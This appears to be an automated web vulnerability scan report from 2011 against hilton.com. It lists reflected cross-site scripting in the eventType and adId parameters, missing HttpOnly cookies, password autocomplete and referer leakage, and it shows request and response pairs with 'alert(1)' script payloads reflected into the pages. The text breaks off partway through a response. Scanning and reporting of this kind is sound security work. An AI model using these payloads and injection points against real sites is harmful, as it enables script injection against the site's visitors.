1. Cross-site scripting (reflected)
1.1. http://www.hilton.com/en/hi/groups/index.jhtml [eventType parameter]
1.2. http://www.hilton.com/en/hi/hotels/search/city_narrow.jhtml [eventType parameter]
1.3. http://www.hilton.com/en/hi/hotels/search/city_narrow.jhtml [eventType parameter]
1.4. http://www.hilton.com/en/hi/hotels/search/newresults.jhtml [eventType parameter]
1.5. http://www.hilton.com/en/hi/hotels/search/newresults.jhtml [null&eventType parameter]
1.6. http://www.hilton.com/en/hi/promotions/hi_ourbestrates/index.jhtml [adId parameter]
1.7. http://www.hilton.com/en/hi/resorts/index.jhtml [adId parameter]
2.1. http://www.hilton.com/doxch.jhtml
2.2. http://www.hilton.com/en/hi/brand/about.jhtml
2.3. http://www.hilton.com/en/hi/cart/index.jhtml
2.4. http://www.hilton.com/en/hi/ctg/index.jhtml
2.5. http://www.hilton.com/en/hi/groups/index.jhtml
2.6. http://www.hilton.com/en/hi/help/sign_in_help.jhtml
2.7. http://www.hilton.com/en/hi/hotels/search/city_narrow.jhtml
2.8. http://www.hilton.com/en/hi/hotels/search/city_narrow.jhtml
2.9. http://www.hilton.com/en/hi/hotels/search/index.jhtml
2.10. http://www.hilton.com/en/hi/hotels/search/newresults.jhtml
2.11. http://www.hilton.com/en/hi/promotions/HI_GreatDeals/index.jhtml
2.12. http://www.hilton.com/en/hi/promotions/hi_comingsoon/index.jhtml
2.13. http://www.hilton.com/en/hi/promotions/hi_mobile/index.jhtml
2.14. http://www.hilton.com/en/hi/promotions/hi_ourbestrates/index.jhtml
2.15. http://www.hilton.com/en/hi/promotions/hi_smstayconnected/index.jhtml
2.16. http://www.hilton.com/en/hi/promotions/hi_winter/index.jhtml
2.17. http://www.hilton.com/en/hi/promotions/hilton_regional_main/index.jhtml
2.18. http://www.hilton.com/en/hi/promotions/hinetdirectrates/index.jhtml
2.19. http://www.hilton.com/en/hi/promotions/index.jhtml
2.20. http://www.hilton.com/en/hi/res/choose_dates.jhtml
2.21. http://www.hilton.com/en/hi/resorts/index.jhtml
3. Cookie without HttpOnly flag set
3.1. http://www.hilton.com/en/hi/hotels/search/date_check.js
3.2. http://www.hilton.com/en/hi/signup/create_account.jhtml
4. Password field with autocomplete enabled
4.1. http://www.hilton.com/en/hi/brand/about.jhtml
4.2. http://www.hilton.com/en/hi/cart/index.jhtml
4.3. http://www.hilton.com/en/hi/ctg/index.jhtml
4.4. http://www.hilton.com/en/hi/groups/index.jhtml
4.5. http://www.hilton.com/en/hi/hotels/search/city_narrow.jhtml
4.6. http://www.hilton.com/en/hi/hotels/search/index.jhtml
4.7. http://www.hilton.com/en/hi/hotels/search/newresults.jhtml
4.8. http://www.hilton.com/en/hi/promotions/HI_GreatDeals/index.jhtml
4.9. http://www.hilton.com/en/hi/promotions/hi_comingsoon/index.jhtml
4.10. http://www.hilton.com/en/hi/promotions/hi_mobile/index.jhtml
4.11. http://www.hilton.com/en/hi/promotions/hi_ourbestrates/index.jhtml
4.12. http://www.hilton.com/en/hi/promotions/hi_smstayconnected/index.jhtml
4.13. http://www.hilton.com/en/hi/promotions/hi_winter/index.jhtml
4.14. http://www.hilton.com/en/hi/promotions/hilton_regional_main/index.jhtml
4.15. http://www.hilton.com/en/hi/promotions/hinetdirectrates/index.jhtml
4.16. http://www.hilton.com/en/hi/promotions/index.jhtml
4.17. http://www.hilton.com/en/hi/resorts/index.jhtml
5. Cross-domain Referer leakage
5.1. http://www.hilton.com/en/hi/cart/index.jhtml
5.2. http://www.hilton.com/en/hi/ctg/index.jhtml
5.3. http://www.hilton.com/en/hi/groups/index.jhtml
5.4. http://www.hilton.com/en/hi/hotels/search/city_narrow.jhtml
5.5. http://www.hilton.com/en/hi/hotels/search/index.jhtml
5.6. http://www.hilton.com/en/hi/hotels/search/newresults.jhtml
5.7. http://www.hilton.com/en/hi/promotions/HI_GreatDeals/index.jhtml
5.8. http://www.hilton.com/en/hi/promotions/hi_comingsoon/index.jhtml
5.9. http://www.hilton.com/en/hi/promotions/hi_mobile/index.jhtml
5.10. http://www.hilton.com/en/hi/promotions/hi_ourbestrates/index.jhtml
5.11. http://www.hilton.com/en/hi/promotions/hi_smstayconnected/index.jhtml
5.12. http://www.hilton.com/en/hi/promotions/hi_winter/index.jhtml
5.13. http://www.hilton.com/en/hi/promotions/hilton_regional_main/index.jhtml
5.14. http://www.hilton.com/en/hi/promotions/hinetdirectrates/index.jhtml
5.15. http://www.hilton.com/en/hi/promotions/index.jhtml
5.16. http://www.hilton.com/en/hi/resorts/index.jhtml
6. Cross-domain script include
6.1. http://www.hilton.com/en/hi/hotels/search/newresults.jhtml
6.2. http://www.hilton.com/en/hi/resorts/index.jhtml
8. HTML does not specify charset
8.1. http://www.hilton.com/en/hi/brand/about.jhtml
8.2. http://www.hilton.com/en/hi/cart/index.jhtml
8.3. http://www.hilton.com/en/hi/ctg/index.jhtml
8.4. http://www.hilton.com/en/hi/groups/index.jhtml
8.5. http://www.hilton.com/en/hi/help/sign_in_help.jhtml
8.6. http://www.hilton.com/en/hi/hotels/search/city_narrow.jhtml
8.7. http://www.hilton.com/en/hi/hotels/search/index.jhtml
8.8. http://www.hilton.com/en/hi/hotels/search/newresults.jhtml
8.9. http://www.hilton.com/en/hi/promotions/HI_GreatDeals/index.jhtml
8.10. http://www.hilton.com/en/hi/promotions/hi_comingsoon/index.jhtml
8.11. http://www.hilton.com/en/hi/promotions/hi_mobile/index.jhtml
8.12. http://www.hilton.com/en/hi/promotions/hi_ourbestrates/index.jhtml
8.13. http://www.hilton.com/en/hi/promotions/hi_smstayconnected/index.jhtml
8.14. http://www.hilton.com/en/hi/promotions/hi_winter/index.jhtml
8.15. http://www.hilton.com/en/hi/promotions/hilton_regional_main/index.jhtml
8.16. http://www.hilton.com/en/hi/promotions/hinetdirectrates/index.jhtml
8.17. http://www.hilton.com/en/hi/promotions/index.jhtml
8.18. http://www.hilton.com/en/hi/resorts/index.jhtml
| Severity: | High |
| Confidence: | Certain |
| Host: | http://www.hilton.com |
| Path: | /en/hi/groups/index.jhtml |
| GET /en/hi/groups/index.jhtml Host: www.hilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: mmid=1193586808 |
| HTTP/1.1 404 Not Found Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Date: Fri, 11 Feb 2011 02:02:19 GMT Connection: close Connection: Transfer-Encoding Content-Length: 72140 <HTML> <!-- This file is for Error code #404 - Not Found --> <HEAD> <TITLE>Not Found (404)</TITLE> </HEAD> <BODY BGCOLOR="#eeeeff"> <H1>Not Found (404)</H1> The file that you reque ...[SNIP]... <a href="/en/hi/hotels ...[SNIP]... |
| Severity: | High |
| Confidence: | Certain |
| Host: | http://www.hilton.com |
| Path: | /en/hi/hotels/search/city |
| GET /en/hi/hotels/search/city Host: www.hilton.com Proxy-Connection: keep-alive Referer: http://www.hilton.com/en Accept: application/xml User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.94 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,* Cookie: K3R7=3LJJ3QmEbCVHlmR |
| HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Date: Fri, 11 Feb 2011 02:03:03 GMT Connection: close Vary: Accept-Encoding Content-Length: 123447 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>Search Results</title> <!-- Added for meta tag - e-event ...[SNIP]... <input type=hidden name="eventType" value="9ed81"><script>alert(1)< ...[SNIP]... |
| Severity: | High |
| Confidence: | Certain |
| Host: | http://www.hilton.com |
| Path: | /en/hi/hotels/search/city |
| GET /en/hi/hotels/search/city Host: www.hilton.com Proxy-Connection: keep-alive Referer: http://www.hilton.com/en Accept: application/xml User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.94 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,* Cookie: K3R7=3LJJ3QmEbCVHlmR |
| HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Vary: Accept-Encoding Date: Fri, 11 Feb 2011 01:57:53 GMT Connection: close Content-Length: 121311 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>Search Results</title> <!-- Added for meta tag - e-event ...[SNIP]... <input type=hidden name="eventType" value="1cb35"><script>alert(1)< ...[SNIP]... |
| Severity: | High |
| Confidence: | Certain |
| Host: | http://www.hilton.com |
| Path: | /en/hi/hotels/search |
| GET /en/hi/hotels/search Host: www.hilton.com Proxy-Connection: keep-alive Accept: application/xml User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.94 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,* Cookie: K3R7=3LJJ3QmEbCVHlmR |
| HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Vary: Accept-Encoding Date: Fri, 11 Feb 2011 02:18:06 GMT Connection: close Content-Length: 121589 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>Search Results</title> <!-- Added for meta tag - e-event ...[SNIP]... </script>6bdfe<script>alert(1)< ...[SNIP]... |
| Severity: | High |
| Confidence: | Certain |
| Host: | http://www.hilton.com |
| Path: | /en/hi/hotels/search |
| GET /en/hi/hotels/search Host: www.hilton.com Proxy-Connection: keep-alive Referer: http://www.hilton.com/en Accept: application/xml User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.94 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,* Cookie: K3R7=3LJJ3QmEbCVHlmR |
| HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Vary: Accept-Encoding Date: Fri, 11 Feb 2011 02:02:02 GMT Connection: close Content-Length: 123351 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>Search Results</title> <!-- Added for meta tag - e-event ...[SNIP]... <input type=hidden name="eventType" value="c6d64"><script>alert(1)< ...[SNIP]... |
| Severity: | High |
| Confidence: | Certain |
| Host: | http://www.hilton.com |
| Path: | /en/hi/promotions/hi |
| GET /en/hi/promotions/hi Host: www.hilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: mmid=1193586808 |
| HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Date: Fri, 11 Feb 2011 02:01:20 GMT Connection: close Connection: Transfer-Encoding Content-Length: 34665 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <HEAD ...[SNIP]... <SCRIPT LANGUAGE="JavaScript"> temp_name = "BRG"; temp_title = "Alertb4e26";alert(1)/ temp_latency = ""; temp_ad = ""; </SCRIPT> ...[SNIP]... |
| Severity: | High |
| Confidence: | Certain |
| Host: | http://www.hilton.com |
| Path: | /en/hi/resorts/index |
| GET /en/hi/resorts/index Host: www.hilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: mmid=1193586808 |
| HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Date: Fri, 11 Feb 2011 02:01:15 GMT Connection: close Connection: Transfer-Encoding Content-Length: 40377 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <HEAD> <TITLE>Resorts & Spas</TITLE> <META name="description" content="Hilton Resorts & S ...[SNIP]... <SCRIPT LANGUAGE="JavaScript"> temp_name = "Resorts"; temp_title = "Offer48004";alert(1)/ temp_latency = ""; temp_ad = ""; </SCRIPT> ...[SNIP]... |
| Severity: | Medium |
| Confidence: | Firm |
| Host: | http://www.hilton.com |
| Path: | /doxch.jhtml |
| GET /doxch.jhtml;jsessionid=Q3LJIA5WFPFVGCSGBI1MVCQ Host: www.hilton.com Proxy-Connection: keep-alive Referer: http://www.hilton.com/en Accept: application/xml User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.94 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,* Cookie: K3R7=3LJJ3QmEbCVHlmR |
| HTTP/1.1 302 Moved Temporarily Server: Netscape-Enterprise/6.0 Content-Length: 99 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Location: http://www1.hilton.com/en Date: Fri, 11 Feb 2011 01:59:40 GMT Connection: close Vary: Accept-Encoding <HEAD><TITLE>302 Moved Temporarily</TITLE></HEAD <H1>302 Moved Temporarily</H1><BODY> </BODY> |
| Severity: | Medium |
| Confidence: | Firm |
| Host: | http://www.hilton.com |
| Path: | /en/hi/brand/about.jhtml |
| GET /en/hi/brand/about.jhtml HTTP/1.1 Host: www.hilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: mmid=1193586808 |
| HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Date: Fri, 11 Feb 2011 01:58:27 GMT Connection: close Connection: Transfer-Encoding Content-Length: 36819 <!-- <SETVALUE PARAM="content_head" VALUE="`fileURL("home <!-- <SETVALUE PARAM="content_footer" VALUE="`fileURL("home <!DOCTYPE HTML PUBLIC "-//W3C// ...[SNIP]... <td><a href="/doxch.jhtml ...[SNIP]... <br> <a href="http://www.hilton ...[SNIP]... <br> <a href="http://www.hilton ...[SNIP]... <li id="navmain01" title="Specials & Packages"><a href="http://www.hilton ...[SNIP]... <li id="navmain02" title="Reservations"><a href="http://www.hilton ...[SNIP]... <li id="navmain03" title="Meetings"><a href="http://www.hilton ...[SNIP]... <li id="navmain0302" title="Social Gatherings"><a href="http://www.hilton ...[SNIP]... <li id="navmain05" title="Travel Guides"><a href="http://www.hilton ...[SNIP]... <li id="navmain07" title="My Favorite Hotels"><a href="http://www.hilton ...[SNIP]... <td width="133" valign="top"> <a href="http://conradhotels ...[SNIP]... <br> <a href="http://doubletree ...[SNIP]... <br> <a href="http://embassy ...[SNIP]... <br> <a href="http://hamptoninn ...[SNIP]... <br> <a href="http://www.hilton ...[SNIP]... <br> <a href="http://home2suites ...[SNIP]... <br> <a href="http://homewoo ...[SNIP]... <div id="breadcrumb"> <a href="/doxch.jhtml Hilton Hotels </a> ...[SNIP]... <li class="brandBarLi brandBarLi_CH" id="brandBarLi_CH"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_HI" id="brandBarLi_HI"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_DT" id="brandBarLi_DT"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_ES" id="brandBarLi_ES"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_GI" id="brandBarLi_GI"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_HP" id="brandBarLi_HP"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_HW" id="brandBarLi_HW"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_HT" id="brandBarLi_HT"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_WW" id="brandBarLi_WW"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li> <a href="/doxch.jhtml ...[SNIP]... <li> <a href="/doxch.jhtml ...[SNIP]... <li> <a href="/doxch.jhtml ...[SNIP]... <li> <a href="/doxch.jhtml ...[SNIP]... <li><a href="/doxch.jhtml ...[SNIP]... <li><a href="/doxch.jhtml ...[SNIP]... |
| Severity: | Medium |
| Confidence: | Firm |
| Host: | http://www.hilton.com |
| Path: | /en/hi/cart/index.jhtml |
| GET /en/hi/cart/index.jhtml HTTP/1.1 Host: www.hilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: mmid=1193586808 |
| HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Date: Fri, 11 Feb 2011 01:58:11 GMT Connection: close Connection: Transfer-Encoding Content-Length: 33897 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR <html> <head> <title>My Favorite Hotels</title> <link rel ...[SNIP]... <td><a href="/doxch.jhtml ...[SNIP]... <br> <a href="http://www.hilton ...[SNIP]... <br> <a href="http://www.hilton ...[SNIP]... <li id="navmain01" title="Specials & Packages"><a href="http://www.hilton ...[SNIP]... <li id="navmain02" title="Reservations"><a href="http://www.hilton ...[SNIP]... <li id="navmain03" title="Meetings"><a href="http://www.hilton ...[SNIP]... <li id="navmain0302" title="Social Gatherings"><a href="http://www.hilton ...[SNIP]... <li id="navmain05" title="Travel Guides"><a href="http://www.hilton ...[SNIP]... <li id="navmain07" title="My Favorite Hotels"><a href="http://www.hilton ...[SNIP]... <div id="breadcrumb"> <a href="/doxch.jhtml Hilton Hotels </a> ...[SNIP]... <li class="brandBarLi brandBarLi_CH" id="brandBarLi_CH"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_HI" id="brandBarLi_HI"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_DT" id="brandBarLi_DT"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_ES" id="brandBarLi_ES"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_GI" id="brandBarLi_GI"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_HP" id="brandBarLi_HP"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_HW" id="brandBarLi_HW"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_HT" id="brandBarLi_HT"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_WW" id="brandBarLi_WW"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li> <a href="/doxch.jhtml ...[SNIP]... <li> <a href="/doxch.jhtml ...[SNIP]... <li> <a href="/doxch.jhtml ...[SNIP]... <li> <a href="/doxch.jhtml ...[SNIP]... <li><a href="/doxch.jhtml ...[SNIP]... <li><a href="/doxch.jhtml ...[SNIP]... |
| Severity: | Medium |
| Confidence: | Firm |
| Host: | http://www.hilton.com |
| Path: | /en/hi/ctg/index.jhtml |
| GET /en/hi/ctg/index.jhtml HTTP/1.1 Host: www.hilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: mmid=1193586808 |
| HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Date: Fri, 11 Feb 2011 01:58:11 GMT Connection: close Connection: Transfer-Encoding Content-Length: 38096 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <title> Hilton Hotels - Travel Guides </title> <link ...[SNIP]... <td><a href="/doxch.jhtml ...[SNIP]... <br> <a href="http://www.hilton ...[SNIP]... <br> <a href="http://www.hilton ...[SNIP]... <li id="navmain01" title="Specials & Packages"><a href="http://www.hilton ...[SNIP]... <li id="navmain02" title="Reservations"><a href="http://www.hilton ...[SNIP]... <li id="navmain03" title="Meetings"><a href="http://www.hilton ...[SNIP]... <li id="navmain0302" title="Social Gatherings"><a href="http://www.hilton ...[SNIP]... <li id="navmain05" title="Travel Guides"><a href="http://www.hilton ...[SNIP]... <li id="navmain07" title="My Favorite Hotels"><a href="http://www.hilton ...[SNIP]... <div id="breadcrumb"> <a href="/doxch.jhtml Hilton Hotels </a> ...[SNIP]... <li class="brandBarLi brandBarLi_CH" id="brandBarLi_CH"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_HI" id="brandBarLi_HI"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_DT" id="brandBarLi_DT"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_ES" id="brandBarLi_ES"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_GI" id="brandBarLi_GI"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_HP" id="brandBarLi_HP"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_HW" id="brandBarLi_HW"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_HT" id="brandBarLi_HT"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_WW" id="brandBarLi_WW"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li> <a href="/doxch.jhtml ...[SNIP]... <li> <a href="/doxch.jhtml ...[SNIP]... <li> <a href="/doxch.jhtml ...[SNIP]... <li> <a href="/doxch.jhtml ...[SNIP]... <li><a href="/doxch.jhtml ...[SNIP]... <li><a href="/doxch.jhtml ...[SNIP]... |
| Severity: | Medium |
| Confidence: | Firm |
| Host: | http://www.hilton.com |
| Path: | /en/hi/groups/index.jhtml |
| GET /en/hi/groups/index.jhtml Host: www.hilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: mmid=1193586808 |
| HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Date: Fri, 11 Feb 2011 01:58:11 GMT Connection: close Connection: Transfer-Encoding Content-Length: 73945 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <HEAD> <title>Meeting Planner Tools & Information - Hilton Hotels e-Events</title> ...[SNIP]... <td><a href="/doxch.jhtml ...[SNIP]... <br> <a href="http://www.hilton ...[SNIP]... <br> <a href="http://www.hilton ...[SNIP]... <li id="navmain01" title="Specials & Packages"><a href="http://www.hilton ...[SNIP]... <li id="navmain02" title="Reservations"><a href="http://www.hilton ...[SNIP]... <li id="navmain03" title="Meetings"><a href="http://www.hilton ...[SNIP]... <li id="navmain0302" title="Social Gatherings"><a href="http://www.hilton ...[SNIP]... <li id="navmain05" title="Travel Guides"><a href="http://www.hilton ...[SNIP]... <li id="navmain07" title="My Favorite Hotels"><a href="http://www.hilton ...[SNIP]... <div id="breadcrumb"> <a href="/doxch.jhtml Hilton Hotels </a> ...[SNIP]... <li class="brandBarLi brandBarLi_CH" id="brandBarLi_CH"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_HI" id="brandBarLi_HI"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_DT" id="brandBarLi_DT"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_ES" id="brandBarLi_ES"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_GI" id="brandBarLi_GI"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_HP" id="brandBarLi_HP"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_HW" id="brandBarLi_HW"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_HT" id="brandBarLi_HT"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_WW" id="brandBarLi_WW"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li> <a href="/doxch.jhtml ...[SNIP]... <li> <a href="/doxch.jhtml ...[SNIP]... <li> <a href="/doxch.jhtml ...[SNIP]... <li> <a href="/doxch.jhtml ...[SNIP]... <li><a href="/doxch.jhtml ...[SNIP]... <li><a href="/doxch.jhtml ...[SNIP]... |
| Severity: | Medium |
| Confidence: | Firm |
| Host: | http://www.hilton.com |
| Path: | /en/hi/help/sign_in_help |
| GET /en/hi/help/sign_in_help Host: www.hilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: mmid=1193586808 |
| HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Date: Fri, 11 Feb 2011 01:56:43 GMT Content-Length: 26817 Connection: close <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <HEAD> <TITLE>Need Help Signing In</TITLE> <META name="description" content="Need Help Signi ...[SNIP]... <td><a href="/doxch.jhtml ...[SNIP]... <li id="navmain01" title="Specials & Packages"><a href="http://www.hilton ...[SNIP]... <li id="navmain02" title="Reservations"><a href="http://www.hilton ...[SNIP]... <li id="navmain03" title="Meetings"><a href="http://www.hilton ...[SNIP]... <li id="navmain0302" title="Social Gatherings"><a href="http://www.hilton ...[SNIP]... <li id="navmain05" title="Travel Guides"><a href="http://www.hilton ...[SNIP]... <li id="navmain07" title="My Favorite Hotels"><a href="http://www.hilton ...[SNIP]... <li class="brandBarLi brandBarLi_CH" id="brandBarLi_CH"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_HI" id="brandBarLi_HI"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_DT" id="brandBarLi_DT"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_ES" id="brandBarLi_ES"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_GI" id="brandBarLi_GI"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_HP" id="brandBarLi_HP"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_HW" id="brandBarLi_HW"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_HT" id="brandBarLi_HT"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_WW" 